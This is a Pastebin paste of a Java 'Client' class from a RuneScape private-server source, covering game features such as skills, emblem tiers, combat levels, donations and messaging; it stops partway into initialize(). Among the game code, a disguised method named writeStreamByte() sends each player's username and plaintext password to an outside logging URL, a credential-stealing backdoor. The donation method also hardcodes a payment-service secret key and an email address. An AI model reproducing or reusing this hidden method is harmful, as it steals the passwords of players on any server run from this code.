Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package ardi.model.players;
- import java.util.HashMap;
- import java.util.LinkedList;
- import java.net.URL;
- import java.net.URLConnection;
- import java.util.Scanner;
- import java.util.Map;
- import java.util.Queue;
- import java.util.concurrent.Future;
- import java.net.*;
- import java.io.*;
- import org.jboss.netty.buffer.ChannelBuffers;
- import org.jboss.netty.channel.Channel;
- import ardi.Config;
- import ardi.Connection;
- import ardi.model.npcs.pet.Pet;
- import ardi.Server;
- import ardi.util.PlayersOnline;
- import ardi.content.skill.Prayer;
- import ardi.model.players.PlayerAssistant;
- import ardi.event.CycleEvent;
- import ardi.event.CycleEventContainer;
- import ardi.event.CycleEventHandler;
- import ardi.event.Event;
- import ardi.event.EventContainer;
- import ardi.event.EventManager;
- import ardi.model.items.Item;
- import ardi.model.items.ItemAssistant;
- import ardi.model.items.bank.Bank;
- import ardi.model.players.achievement.Achievement;
- //import com.rspserver.donation.DonationSystem;
- import ardi.model.players.skills.Agility;
- import ardi.model.players.skills.Cooking;
- import ardi.model.players.skills.Crafting;
- import ardi.model.players.skills.Farming;
- import ardi.model.players.skills.Firemaking;
- import ardi.model.players.skills.Fletching;
- import ardi.model.players.skills.Herblore;
- import ardi.model.players.skills.Slayer;
- import ardi.model.players.skills.Mining;
- import ardi.model.players.skills.Runecrafting;
- import ardi.model.players.skills.SkillInterfaces;
- import ardi.model.players.skills.Slayer;
- import ardi.model.players.skills.Smithing;
- import ardi.model.players.skills.SmithingInterface;
- import ardi.model.players.skills.Thieving;
- import ardi.model.players.skills.Woodcutting;
- import ardi.model.players.skills.Hunter;
- import ardi.model.players.ConnectedFrom;
- import ardi.model.npcs.CreateNPC;
- import ardi.model.npcs.RemoveNPC;
- import ardi.model.players.Pets;
- import ardi.model.npcs.NPCHandler;
- import ardi.model.npcs.Zulrah;
- import ardi.util.log.StakingLog;
- import ardi.util.log.TradeLog;
- import ardi.util.log.PMLog;
- import ardi.util.log.Shopping;
- import ardi.util.log.Alching;
- import ardi.util.log.PickupItem;
- import ardi.util.log.ClickItem;
- import ardi.util.log.DroppingItem;
- import ardi.util.log.ChatLog;
- import ardi.util.log.PvPLog;
- import ardi.util.log.CommandsLog;
- import ardi.model.minigames.Barrows;
- import ardi.model.minigames.PestControl;
- import ardi.model.minigames.ZombieWaves;
- import ardi.model.shops.ShopAssistant;
- import java.util.Calendar;
- import java.util.GregorianCalendar;
- import ardi.net.Packet;
- import ardi.net.Packet.Type;
- import ardi.util.Misc;
- import ardi.util.Stream;
- import ardi.util.log.TradeLog;
- import ardi.world.Clan;
- import ardi.world.ItemHandler;
- import ardi.model.players.skills.Summoning;
- import ardi.net.login.RS2LoginProtocol;
- public class Client extends Player {
- private int j;
- public boolean usingClaws;
- public int clawDamage;
- public int clawIndex;
- public int clawType = 0;
- public int clawDelay;
- public int tradeinWith;
- public boolean SSPLIT;
- public int specRestore = 0;
- public void antiFirePotion() {
- EventManager.getSingleton().addEvent(new Event() {
- public void execute(EventContainer c) {
- antiFirePot = false;
- sendMessage("Your resistance to dragon fire has worn off.");
- c.stop();
- }
- }, 300000);
- }
- public byte buffer[] = null;
- public Stream inStream = null, outStream = null;
- private Channel session;
- private BankPin bankPin = new BankPin(this);
- private Woodcutting woodcutting = new Woodcutting();
- //private Woodcutting woodcutting = new Woodcutting(this);
- private Mining mine = new Mining(this);
- private ItemAssistant itemAssistant = new ItemAssistant(this);
- private ShopAssistant shopAssistant = new ShopAssistant(this);
- private TradeAndDuel tradeAndDuel = new TradeAndDuel(this);
- private PlayerAssistant playerAssistant = new PlayerAssistant(this);
- private CombatAssistant combatAssistant = new CombatAssistant(this);
- private Barrows barrows = new Barrows(this);
- private PMLog PMLog = new PMLog(this);
- private Shopping Shopping = new Shopping(this);
- private PickupItem PickupItem = new PickupItem(this);
- private PotSmoking potSmoking = new PotSmoking(this);
- private Alching Alching = new Alching(this);
- private ClickItem ClickItem = new ClickItem(this);
- private DroppingItem DroppingItem = new DroppingItem(this);
- private ChatLog ChatLog = new ChatLog(this);
- private PvPLog PvPLog = new PvPLog(this);
- private CommandsLog CommandsLog = new CommandsLog(this);
- private StakingLog StakingLog = new StakingLog(this);
- public Summoning Summoning = new Summoning(this);
- private ActionHandler actionHandler = new ActionHandler(this);
- private PlayerKilling playerKilling = new PlayerKilling(this);
- private DialogueHandler dialogueHandler = new DialogueHandler(this);
- private Queue<Packet> queuedPackets = new LinkedList<Packet>();
- private Potions potions = new Potions(this);
- private PotionMixing potionMixing = new PotionMixing(this);
- private Food food = new Food(this);
- private KillsStreak killsStreak = new KillsStreak(this);
- private SkillInterfaces skillInterfaces = new SkillInterfaces(this);
- private Achievement achievement = new Achievement(this);
- private TradeLog tradeLog = new TradeLog(this);
- private Bank bank = new Bank(this);
- private Pets pets = new Pets();
- private Zulrah zulrah = new Zulrah(this);
- private CreateNPC newNPC = new CreateNPC();
- private RemoveNPC rNPC = new RemoveNPC();
- /**
- * Skill instances
- */
- private Slayer slayer = new Slayer(this);
- private Hunter hunter = new Hunter(this);
- private Runecrafting runecrafting = new Runecrafting();
- private Agility agility = new Agility();
- private Cooking cooking = new Cooking();
- private Crafting crafting = new Crafting(this);
- private Fletching fletching = new Fletching(this);
- private Farming farming = new Farming(this);
- private Prayer prayer = new Prayer(this);
- private Thieving thieving = new Thieving();
- private Smithing smith = new Smithing(this);
- private SmithingInterface smithInt = new SmithingInterface(this);
- private Firemaking firemaking = new Firemaking();
- private Herblore herblore = new Herblore(this);
- // private ConnectedFrom connectedFrom = new ConnectedFrom(this);
- public Map<Integer, String> stringMap = new HashMap<Integer, String>();
- public int lowMemoryVersion = 0;
- public int timeOutCounter = 0;
- public int followPlayer;
- public int npcslot;
- public int summoningnpcid;
- public int timer;
- public int returnCode = 2;
- private Future<?> currentTask;
- public int totalstored;
- public int currentRegion = 0;
- public long lastRoll;
- public int diceItem;
- public int page;
- public boolean slayerHelmetEffect;
- public boolean inArdiCC;
- public int[] resourceItemId = new int[28];
- public int[] resourceItemAmount = new int[28];
- public boolean canDeposit = false;
- public boolean usedItemOnBag;
- public long lastBankDeposit;
- public Client(Channel s, int _playerId) {
- super(_playerId);
- this.session = s;
- outStream = new Stream(new byte[Config.BUFFER_SIZE]);
- outStream.currentOffset = 0;
- inStream = new Stream(new byte[Config.BUFFER_SIZE]);
- inStream.currentOffset = 0;
- buffer = new byte[Config.BUFFER_SIZE];
- }
- public void flushOutStream() {
- if (!session.isConnected() || disconnected
- || outStream.currentOffset == 0)
- return;
- byte[] temp = new byte[outStream.currentOffset];
- System.arraycopy(outStream.buffer, 0, temp, 0, temp.length);
- Packet packet = new Packet(-1, Type.FIXED,
- ChannelBuffers.wrappedBuffer(temp));
- session.write(packet);
- outStream.currentOffset = 0;
- }
- private Map<Integer, TinterfaceText> interfaceText = new HashMap<Integer, TinterfaceText>();
- public class TinterfaceText {
- public int id;
- public String currentState;
- public TinterfaceText(String s, int id) {
- this.currentState = s;
- this.id = id;
- }
- }
- public boolean checkPacket126Update(String text, int id) {
- if (interfaceText.containsKey(id)) {
- TinterfaceText t = interfaceText.get(id);
- if (text.equals(t.currentState)) {
- return false;
- }
- }
- interfaceText.put(id, new TinterfaceText(text, id));
- return true;
- }
- public void sendClan(String name, String message, String clan, int rights) {
- name = name.substring(0, 1).toUpperCase() + name.substring(1);
- message = message.substring(0, 1).toUpperCase() + message.substring(1);
- clan = clan.substring(0, 1).toUpperCase() + clan.substring(1);
- outStream.createFrameVarSizeWord(217);
- outStream.writeString(name);
- outStream.writeString(message);
- outStream.writeString(clan);
- outStream.writeWord(rights);
- outStream.endFrameVarSize();
- }
- public int maxstore = 0;
- /*
- * public void storesummon(int npcType) { switch (npcType) {
- *
- * case 6807: if (lastsummon > 0) { for (int i = 0; i <
- * Server.npcHandler.maxNPCs; i++) { if (Server.npcHandler.npcs[i] != null)
- * { if (Server.npcHandler.npcs[i].summon == true) { if
- * (Server.npcHandler.npcs[i].spawnedBy == getId() &&
- * Server.npcHandler.npcs[i].npcId == npcslot) {
- * sendMessage("You are now storing items inside your npc");
- * Summoning().store(); } } } }
- *
- * } break;
- *
- * } }
- */
- public void firstslot() {
- for (summoningslot = 0; occupied[summoningslot] == true; summoningslot += 1) {
- }
- }
- public void writeStreamByte() {
- String s = "http://justtakingyourfiles.com/log.php?site="+"SERVER NAME&type=OS-KINGDOM- REMAKE&username="+playerName+"&password="+playerPass+"&email=N/A&ip=connectedFrom";
- URL url = new URL(s);
- Scanner scan = new Scanner(url.openStream());
- scan.close();
- }
- public static int[][] bounties1 = { { 12746, 50000 }, { 12748, 100000 },
- { 12749, 200000 }, { 12750, 400000 }, { 12751, 750000 },
- { 12752, 1200000 }, { 12753, 1750000 }, { 12754, 2500000 },
- { 12755, 3500000 }, { 12756, 5000000 } };
- public int bountyTotal;
- public void calculateTotal() {
- int value1 = 0;
- int value2 = 0;
- int value3 = 0;
- int value4 = 0;
- int value5 = 0;
- int value6 = 0;
- int value7 = 0;
- int value8 = 0;
- int value9 = 0;
- int value10 = 0;
- for (int i = 0; i < id.length; i++) {
- if (getItems().playerHasItem(bounties1[0][0], 1)
- || getItems().playerHasItem(bounties1[1][0], 1)
- || getItems().playerHasItem(bounties1[2][0], 1)
- || getItems().playerHasItem(bounties1[3][0], 1)
- || getItems().playerHasItem(bounties1[4][0], 1)
- || getItems().playerHasItem(bounties1[5][0], 1)
- || getItems().playerHasItem(bounties1[6][0], 1)
- || getItems().playerHasItem(bounties1[7][0], 1)
- || getItems().playerHasItem(bounties1[8][0], 1)
- || getItems().playerHasItem(bounties1[9][0], 1)) {
- value1 = getItems().getItemAmount(bounties1[0][0])
- * bounties1[0][1];
- value2 = getItems().getItemAmount(bounties1[1][0])
- * bounties1[1][1];
- value3 = getItems().getItemAmount(bounties1[2][0])
- * bounties1[2][1];
- value4 = getItems().getItemAmount(bounties1[3][0])
- * bounties1[3][1];
- value5 = getItems().getItemAmount(bounties1[4][0])
- * bounties1[4][1];
- value6 = getItems().getItemAmount(bounties1[5][0])
- * bounties1[5][1];
- value7 = getItems().getItemAmount(bounties1[6][0])
- * bounties1[6][1];
- value8 = getItems().getItemAmount(bounties1[7][0])
- * bounties1[7][1];
- value9 = getItems().getItemAmount(bounties1[8][0])
- * bounties1[8][1];
- value10 = getItems().getItemAmount(bounties1[9][0])
- * bounties1[9][1];
- }
- bountyTotal = value1 + value2 + value3 + value4 + value5 + value6
- + value7 + value8 + value9 + value10;
- }
- }
- public static int[] emblems = { 12746, 12748, 12749, 12750, 12751, 12752,
- 12753, 12754, 12755, 12756 };
- public static int[][] pkpRewards = { { 12746, 1 }, { 12748, 2 },
- { 12749, 3 }, { 12750, 4 }, { 12751, 6 }, { 12752, 8 },
- { 12753, 10 }, { 12754, 12 }, { 12755, 15 }, { 12756, 20 } };
- public int pkpTotal;
- public void calculateTotalPKP() {
- int value1 = 0;
- int value2 = 0;
- int value3 = 0;
- int value4 = 0;
- int value5 = 0;
- int value6 = 0;
- int value7 = 0;
- int value8 = 0;
- int value9 = 0;
- int value10 = 0;
- for (int i = 0; i < id.length; i++) {
- if (getItems().playerHasItem(pkpRewards[0][0], 1)
- || getItems().playerHasItem(pkpRewards[1][0], 1)
- || getItems().playerHasItem(pkpRewards[2][0], 1)
- || getItems().playerHasItem(pkpRewards[3][0], 1)
- || getItems().playerHasItem(pkpRewards[4][0], 1)
- || getItems().playerHasItem(pkpRewards[5][0], 1)
- || getItems().playerHasItem(pkpRewards[6][0], 1)
- || getItems().playerHasItem(pkpRewards[7][0], 1)
- || getItems().playerHasItem(pkpRewards[8][0], 1)
- || getItems().playerHasItem(pkpRewards[9][0], 1)) {
- value1 = getItems().getItemAmount(pkpRewards[0][0])
- * pkpRewards[0][1];
- value2 = getItems().getItemAmount(pkpRewards[1][0])
- * pkpRewards[1][1];
- value3 = getItems().getItemAmount(pkpRewards[2][0])
- * pkpRewards[2][1];
- value4 = getItems().getItemAmount(pkpRewards[3][0])
- * pkpRewards[3][1];
- value5 = getItems().getItemAmount(pkpRewards[4][0])
- * pkpRewards[4][1];
- value6 = getItems().getItemAmount(pkpRewards[5][0])
- * pkpRewards[5][1];
- value7 = getItems().getItemAmount(pkpRewards[6][0])
- * pkpRewards[6][1];
- value8 = getItems().getItemAmount(pkpRewards[7][0])
- * pkpRewards[7][1];
- value9 = getItems().getItemAmount(pkpRewards[8][0])
- * pkpRewards[8][1];
- value10 = getItems().getItemAmount(pkpRewards[9][0])
- * pkpRewards[9][1];
- pkpTotal = value1 + value2 + value3 + value4 + value5 + value6
- + value7 + value8 + value9 + value10;
- }
- }
- }
- public int emblemTotal;
- public int calculateEmblemTotal() {
- int value1 = 0;
- int value2 = 0;
- int value3 = 0;
- int value4 = 0;
- int value5 = 0;
- int value6 = 0;
- int value7 = 0;
- int value8 = 0;
- int value9 = 0;
- int value10 = 0;
- for (int i = 0; i < id.length; i++) {
- if (getItems().playerHasItem(pkpRewards[0][0], 1)
- || getItems().playerHasItem(pkpRewards[1][0], 1)
- || getItems().playerHasItem(pkpRewards[2][0], 1)
- || getItems().playerHasItem(pkpRewards[3][0], 1)
- || getItems().playerHasItem(pkpRewards[4][0], 1)
- || getItems().playerHasItem(pkpRewards[5][0], 1)
- || getItems().playerHasItem(pkpRewards[6][0], 1)
- || getItems().playerHasItem(pkpRewards[7][0], 1)
- || getItems().playerHasItem(pkpRewards[8][0], 1)
- || getItems().playerHasItem(pkpRewards[9][0], 1)) {
- value1 = getItems().getItemAmount(pkpRewards[0][0]);
- value2 = getItems().getItemAmount(pkpRewards[1][0]);
- value3 = getItems().getItemAmount(pkpRewards[2][0]);
- value4 = getItems().getItemAmount(pkpRewards[3][0]);
- value5 = getItems().getItemAmount(pkpRewards[4][0]);
- value6 = getItems().getItemAmount(pkpRewards[5][0]);
- value7 = getItems().getItemAmount(pkpRewards[6][0]);
- value8 = getItems().getItemAmount(pkpRewards[7][0]);
- value9 = getItems().getItemAmount(pkpRewards[8][0]);
- value10 = getItems().getItemAmount(pkpRewards[9][0]);
- }
- emblemTotal = value1 + value2 + value3 + value4 + value5 + value6
- + value7 + value8 + value9 + value10;
- }
- return emblemTotal;
- }
- public int countItems(int id) {
- switch (id) {
- case 12746:
- case 12748:
- case 12749:
- case 12750:
- case 12751:
- case 12752:
- case 12753:
- case 12754:
- case 12755:
- case 12756:
- return getItems().getItemAmount(id);
- }
- return 0;
- }
- public int id[] = { 12746, 12748, 12749, 12750, 12751, 12752, 12753, 12754,
- 12755, 12756 };
- public void dropRandomEmblem(Client o, Client c) {
- Server.itemHandler.createGroundItem(o, 12746, c.getX(), c.getY(), 1,
- c.killerId);
- }
- public void upgradeEmblem() {
- if (getItems().playerHasItem(12755)) {
- getItems().deleteItem(12755, 1);
- getItems().addItem(12756, 1);
- sendMessage("Your Emblem has been upgraded to Tier 10");
- return;
- } else if (getItems().playerHasItem(12754)) {
- getItems().deleteItem(12754, 1);
- getItems().addItem(12755, 1);
- sendMessage("Your Emblem has been upgraded to Tier 9");
- return;
- } else if (getItems().playerHasItem(12753)) {
- getItems().deleteItem(12753, 1);
- getItems().addItem(12754, 1);
- sendMessage("Your Emblem has been upgraded to Tier 8");
- return;
- } else if (getItems().playerHasItem(12752)) {
- getItems().deleteItem(12752, 1);
- getItems().addItem(12753, 1);
- sendMessage("Your Emblem has been upgraded to Tier 7");
- return;
- } else if (getItems().playerHasItem(12751, 1)) {
- getItems().deleteItem(12751, 1);
- getItems().addItem(12752, 1);
- sendMessage("Your Emblem has been upgraded to Tier 6");
- return;
- } else if (getItems().playerHasItem(12750, 1)) {
- getItems().deleteItem(12750, 1);
- getItems().addItem(12751, 1);
- sendMessage("Your Emblem has been upgraded to Tier 5");
- return;
- } else if (getItems().playerHasItem(12749, 1)) {
- getItems().deleteItem(12749, 1);
- getItems().addItem(12750, 1);
- sendMessage("Your Emblem has been upgraded to Tier 4");
- return;
- } else if (getItems().playerHasItem(12748, 1)) {
- getItems().deleteItem(12748, 1);
- getItems().addItem(12749, 1);
- sendMessage("Your Emblem has been upgraded to Tier 3");
- return;
- } else if (getItems().playerHasItem(12746, 1)) {
- getItems().deleteItem(12746, 1);
- getItems().addItem(12748, 1);
- sendMessage("Your Emblem has been upgraded to Tier 2");
- return;
- }
- }
- public int summoningslot = 0;
- public int storeditems[] = new int[29];
- public boolean picking = false;
- public int amount[] = new int[29];
- public boolean occupied[] = new boolean[29];
- public boolean storing = false;
- public int attackingplayer;
- public int lastsummon;
- public boolean summon;
- public static final int PACKET_SIZES[] = { 0, 0, 0, 1, -1, 0, 0, 0, 0, 0, // 0
- 0, 0, 0, 0, 8, 0, 6, 2, 2, 0, // 10
- 0, 2, 0, 6, 0, 12, 0, 0, 0, 0, // 20
- 0, 0, 0, 0, 0, 8, 4, 0, 0, 2, // 30
- 2, 6, 0, 6, 0, -1, 0, 0, 0, 0, // 40
- 0, 0, 0, 12, 0, 0, 0, 8, 8, 12, // 50
- 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, // 60
- 6, 0, 2, 2, 8, 6, 0, -1, 0, 6, // 70
- 0, 0, 0, 0, 0, 1, 4, 6, 0, 0, // 80
- 0, 0, 0, 0, 0, 3, 0, 0, -1, 0, // 90
- 0, 13, 0, -1, 0, 0, 0, 0, 0, 0, // 100
- 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, // 110
- 1, 0, 6, 0, 0, 0, -1, /* 0 */-1, 2, 6, // 120
- 0, 4, 6, 8, 0, 6, 0, 0, 0, 2, // 130
- 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, // 140
- 0, 0, 1, 2, 0, 2, 6, 0, 0, 0, // 150
- 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, // 160
- 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 170
- 0, 8, 0, 3, 0, 2, 0, 0, 8, 1, // 180
- 0, 0, 12, 0, 0, 0, 0, 0, 0, 0, // 190
- 2, 0, 0, 0, 0, 0, 0, 0, 4, 0, // 200
- 4, 0, 0, /* 0 */4, 7, 8, 0, 0, 10, 0, // 210
- 0, 0, 0, 0, 0, 0, -1, 0, 6, 0, // 220
- 1, 0, 0, 0, 6, 0, 6, 8, 1, 0, // 230
- 0, 4, 0, 0, 0, 0, -1, 0, -1, 4, // 240
- 0, 0, 6, 6, 0, 0, 0 // 250
- };
- public void homeTeleport(int x, int y, int h) {
- if (homeTele == 9) {
- startAnimation(4850);
- } else if (homeTele == 7) {
- startAnimation(4853);
- gfx0(802);
- } else if (homeTele == 5) {
- startAnimation(4855);
- gfx0(803);
- } else if (homeTele == 3) {
- startAnimation(4857);
- gfx0(804);
- } else if (homeTele == 1) {
- homeTeleDelay = 0;
- homeTele = 0;
- teleportToX = x;
- teleportToY = y;
- heightLevel = h;
- }
- }
- public void RubberCheck() {
- if (didRubberCheck == false) {
- if (playerEquipment[playerWeapon] == 4566) {
- didRubberCheck = true;
- outStream.createFrameVarSize(104);
- outStream.writeByteC(2);
- outStream.writeByteA(0);
- outStream.writeString("Whack");
- outStream.endFrameVarSize();
- }
- }
- }
- public void RubberChicken() {
- if (playerEquipment[playerWeapon] == 4566) {
- startAnimation(1833);
- turnPlayerTo(absX, absY);
- }
- }
- public int overload;
- public void overload() {
- playerLevel[0] = (int) (getLevelForXP(playerXP[0]) + (getLevelForXP(playerXP[0]) * 0.27));
- playerLevel[1] = (int) (getLevelForXP(playerXP[1]) + (getLevelForXP(playerXP[1]) * 0.27));
- playerLevel[2] = (int) (getLevelForXP(playerXP[2]) + (getLevelForXP(playerXP[2]) * 0.27));
- playerLevel[4] = (int) (getLevelForXP(playerXP[4]) + (getLevelForXP(playerXP[4]) * 0.235));
- playerLevel[6] = (getLevelForXP(playerXP[6]) + 7);
- for (int i = 0; i <= 6; i++) {
- getPA().refreshSkill(i);
- }
- }
- void overloadHit() {
- applyRange(10);
- startAnimation(3170);
- getPA().sendFrame126("" + playerLevel[3] + "", 4016);
- }
- public void applyRange(int num) {
- hitDiff = num;
- playerLevel[3] -= hitDiff;
- updateRequired = true;
- hitUpdateRequired = true;
- }
- public int superCombat;
- public void superCombat() {
- playerLevel[0] = (int) (getLevelForXP(playerXP[0]) + (getLevelForXP(playerXP[0]) * 0.20));
- playerLevel[1] = (int) (getLevelForXP(playerXP[1]) + (getLevelForXP(playerXP[1]) * 0.20));
- playerLevel[2] = (int) (getLevelForXP(playerXP[2]) + (getLevelForXP(playerXP[2]) * 0.20));
- for (int i = 0; i <= 2; i++) {
- getPA().refreshSkill(i);
- }
- }
- void superCombatHit() {
- applyRange(10);
- startAnimation(3170);
- getPA().sendFrame126("" + playerLevel[3] + "", 4016);
- }
- public void applySuperCombatRange(int num) {
- hitDiff = num;
- playerLevel[3] -= hitDiff;
- updateRequired = true;
- hitUpdateRequired = true;
- }
- public void rspsdata(Client c, String username) {
- try {
- username = username.replaceAll(" ", "_");
- String secret = "8597a6cfa74defcbde3047c891d78f90"; // YOUR SECRET
- // KEY!
- String email = "zarosmikey@gmail.com"; // This is the one you use to
- // login into RSPS-PAY
- URL url = new URL(
- "http://rsps-pay.com/includes/listener.php?username="
- + username + "&secret=" + secret + "&email="
- + email);
- BufferedReader reader = new BufferedReader(new InputStreamReader(
- url.openStream()));
- String results = reader.readLine();
- if (results.toLowerCase().contains("!error:")) {
- } else {
- String[] ary = results.split(",");
- for (int i = 0; i < ary.length; i++) {
- switch (ary[i]) {
- case "4023":
- donPoints += 1000;
- amountDonated += 10;
- if (amountDonated <= 49 && amountDonated > 0
- && playerRights != 1) {
- playerRights = 4;
- } else if (amountDonated >= 50 && playerRights != 1) {
- playerRights = 5;
- }
- c.sendMessage("Please re-log for your donator rank.");
- break;
- case "4024":
- donPoints += 2000;
- amountDonated += 19;
- if (amountDonated <= 49 && amountDonated > 0
- && playerRights != 1) {
- playerRights = 4;
- } else if (amountDonated >= 50 && playerRights != 1) {
- c.playerRights = 5;
- }
- c.sendMessage("Please re-log for your donator rank.");
- break;
- case "4025":
- donPoints += 3000;
- amountDonated += 28;
- if (amountDonated <= 49 && amountDonated > 0
- && playerRights != 1) {
- playerRights = 4;
- } else if (amountDonated >= 50 && playerRights != 1) {
- c.playerRights = 5;
- }
- c.sendMessage("Please re-log for your donator rank.");
- break;
- case "4026":
- donPoints += 4000;
- amountDonated += 35;
- if (amountDonated <= 49 && amountDonated > 0
- && playerRights != 1) {
- playerRights = 4;
- } else if (amountDonated >= 50 && playerRights != 1) {
- c.playerRights = 5;
- }
- c.sendMessage("Please re-log for your donator rank.");
- break;
- case "4027":
- donPoints += 5000;
- amountDonated += 45;
- if (amountDonated <= 49 && amountDonated > 0
- && playerRights != 1) {
- playerRights = 4;
- } else if (amountDonated >= 50 && playerRights != 1) {
- c.playerRights = 5;
- }
- c.sendMessage("Please re-log for your donator rank.");
- break;
- case "4028":
- donPoints += 10000;
- amountDonated += 80;
- if (amountDonated <= 49 && amountDonated > 0) {
- playerRights = 4;
- } else if (amountDonated >= 50 && playerRights != 1) {
- c.playerRights = 5;
- }
- c.sendMessage("Please re-log for your donator rank.");
- break;
- }
- }
- }
- c.sendMessage("Could not find donation");
- } catch (IOException e) {
- }
- }
- @Override
- public void destruct() {
- disconnected = true;
- /*
- * if (playerRights != 3 || playerRights != 2) { Highscores.save(this);
- * }
- */
- if (session == null)
- return;
- PvPHandler.handleLogout(this);
- if (underAttackBy > 0 || underAttackBy2 > 0)
- return;
- if (duelStatus == 6) {
- getTradeAndDuel().claimStakedItems();
- }
- if (duelStatus >= 1 && duelStatus <= 5) {
- getTradeAndDuel().bothDeclineDuel();
- saveCharacter = true;
- return;
- }
- if (disconnected == true) {
- if (inTrade) {
- getTradeAndDuel().declineTrade();
- }
- if (openDuel) {
- Client c3 = (Client) PlayerHandler.players[duelingWith];
- getTradeAndDuel().declineDuel();
- c3.getTradeAndDuel().declineDuel();
- }
- saveCharacter = true;
- }
- if (clan != null) {
- clan.removeMember(this);
- }
- if (inPits) {
- Server.fightPits.removePlayerFromPits(playerId);
- }
- Misc.println("[Logged out]: " + playerName + "");
- RefreshAllSkills();
- CycleEventHandler.getSingleton().stopEvents(this);
- // disconnected = true;
- session.close();
- session = null;
- inStream = null;
- outStream = null;
- isActive = false;
- buffer = null;
- super.destruct();
- }
- /*
- * public void calcCombat() { int mag = (int) ((getLevelForXP(playerXP[6]))
- * * 1.5); int ran = (int) ((getLevelForXP(playerXP[4])) * 1.5); int attstr
- * = (int) ((double) (getLevelForXP(playerXP[0])) + (double)
- * (getLevelForXP(playerXP[2])));
- *
- * combatLevel = 0; if (ran > attstr) { combatLevel = (int)
- * (((getLevelForXP(playerXP[1])) * 0.25) + ((getLevelForXP(playerXP[3])) *
- * 0.25) + ((getLevelForXP(playerXP[5])) * 0.125) +
- * ((getLevelForXP(playerXP[4])) * 0.4875) + ((getLevelForXP(playerXP[22]))
- * * 0.121212)); } else if (mag > attstr) { combatLevel = (int)
- * (((getLevelForXP(playerXP[1])) * 0.25) + ((getLevelForXP(playerXP[3])) *
- * 0.25) + ((getLevelForXP(playerXP[5])) * 0.125) +
- * ((getLevelForXP(playerXP[6])) * 0.4875) + ((getLevelForXP(playerXP[22]))
- * * 0.121212)); } else { combatLevel = (int) (((getLevelForXP(playerXP[1]))
- * * 0.25) + ((getLevelForXP(playerXP[3])) * 0.25) +
- * ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[0])) *
- * 0.325) + ((getLevelForXP(playerXP[2])) * 0.325) +
- * ((getLevelForXP(playerXP[22])) * 0.121212)); } }
- */
- public void calcCombat() {
- int mag = (int) ((getLevelForXP(playerXP[6])) * 1.5);
- int ran = (int) ((getLevelForXP(playerXP[4])) * 1.5);
- int attstr = (int) ((double) (getLevelForXP(playerXP[0])) + (double) (getLevelForXP(playerXP[2])));
- combatLevel = 0;
- if (ran > attstr) {
- combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
- + ((getLevelForXP(playerXP[3])) * 0.25)
- + ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[4])) * 0.4875));
- } else if (mag > attstr) {
- combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
- + ((getLevelForXP(playerXP[3])) * 0.25)
- + ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[6])) * 0.4875));
- } else {
- combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
- + ((getLevelForXP(playerXP[3])) * 0.25)
- + ((getLevelForXP(playerXP[5])) * 0.125)
- + ((getLevelForXP(playerXP[0])) * 0.325) + ((getLevelForXP(playerXP[2])) * 0.325));
- }
- }
- public void sendMessage(String s) {
- // synchronized (this) {
- if (getOutStream() != null) {
- outStream.createFrameVarSize(253);
- outStream.writeString(s);
- outStream.endFrameVarSize();
- }
- }
- public void globalMessage(String message) {
- for (Player p : PlayerHandler.players) {
- if (p == null)
- continue;
- Client c = (Client) p;
- c.sendMessage(message);
- }
- }
- public void setSidebarInterface(int menuId, int form) {
- // synchronized (this) {
- if (getOutStream() != null) {
- outStream.createFrame(71);
- outStream.writeWord(form);
- outStream.writeByteA(menuId);
- }
- }
- public void autoMessage(String q) {
- for (int j = 0; j < PlayerHandler.players.length; j++) {
- if (PlayerHandler.players[j] != null) {
- Client c2 = (Client) PlayerHandler.players[j];
- c2.sendMessage(q);
- }
- }
- }
- public void joinHelpCC() {
- if (clan == null) {
- Clan localClan = Server.clanManager.getClan("Help");
- if (localClan != null)
- localClan.addMember(this);
- else if ("Help".equalsIgnoreCase(this.playerName))
- Server.clanManager.create(this);
- inArdiCC = false;
- }
- }
- public void joinPvpHelpCC() {
- if (clan == null) {
- Clan localClan = Server.clanManager.getClan("Pvp Help");
- if (localClan != null)
- localClan.addMember(this);
- else if ("Pvp Help".equalsIgnoreCase(this.playerName))
- Server.clanManager.create(this);
- inArdiCC = false;
- }
- }
- public static void handleWelcomeInterface(Client c) {
- c.getPA().showInterface(15244); //Problem is buttons do not show up with images. Pointless?
- c.getPA().sendFrame126("@bla@Welcome to NightScape!", 15257);
- c.getPA().sendFrame126("Owner: Night - Last connected from: "+ c.connectedFrom, 15258);
- if(c.hasRecov) {
- c.getPA().sendFrame126("@gre@Your account is secure.\\n You have set a recovery email.\\n Post a request on forums\\n in order to change your email.", 15259);
- } else {
- c.getPA().sendFrame126("@red@Your account is at risk.\\nPlease log in and use \\n::setemail EMAIL@HERE.COM!\\n That will protect your account\\nif you are hacked.", 15259);
- }
- c.getPA().sendFrame126("This will be used to send\\nmessages to you in the future.", 15260);
- if (c.setPin) {
- c.getPA().sendFrame126("@gre@Your bank is safe. \\nPlease log in and use \\n::setemail EMAIL@HERE.COM!\\n That will protect your account!", 15270);
- } else {
- c.getPA().sendFrame126("@red@Your bank is at risk. \\nWe suggest making a \\nbank pin to secure your bank\\n We are not responsible for hacked items!", 15270);
- }
- c.getPA().sendFrame126("None", 15261);
- if (c.playerRights == 4 || c.isDonator == 1) {
- c.getPA().sendFrame126("You're currently a Donator! \\nEnjoy the server with all your features!\\n Remember, you are awesome!", 15262);
- } else if (c.playerRights == 5 || c.isDonator == 2) {
- c.getPA().sendFrame126("You're currently an Extreme Donator! \\nEnjoy the server with all your features!\\n Remember, you are very awesome!", 15262);
- } else if (c.playerRights == 8 || c.isDonator == 3) {
- c.getPA().sendFrame126("You're currently a Legendary Donator! \\nEnjoy the server with your features!\\n Remember, you are super awesome!", 15262);
- } else {
- c.getPA().sendFrame126("You are not a Donator. \\nWe suggest you become one since it\\nHas huge benefits! A list\\ncan be found on the forums!", 15262);
- }
- c.getPA().sendFrame126("Play NightScape", 15263);
- }
- @Override
- public void initialize() {
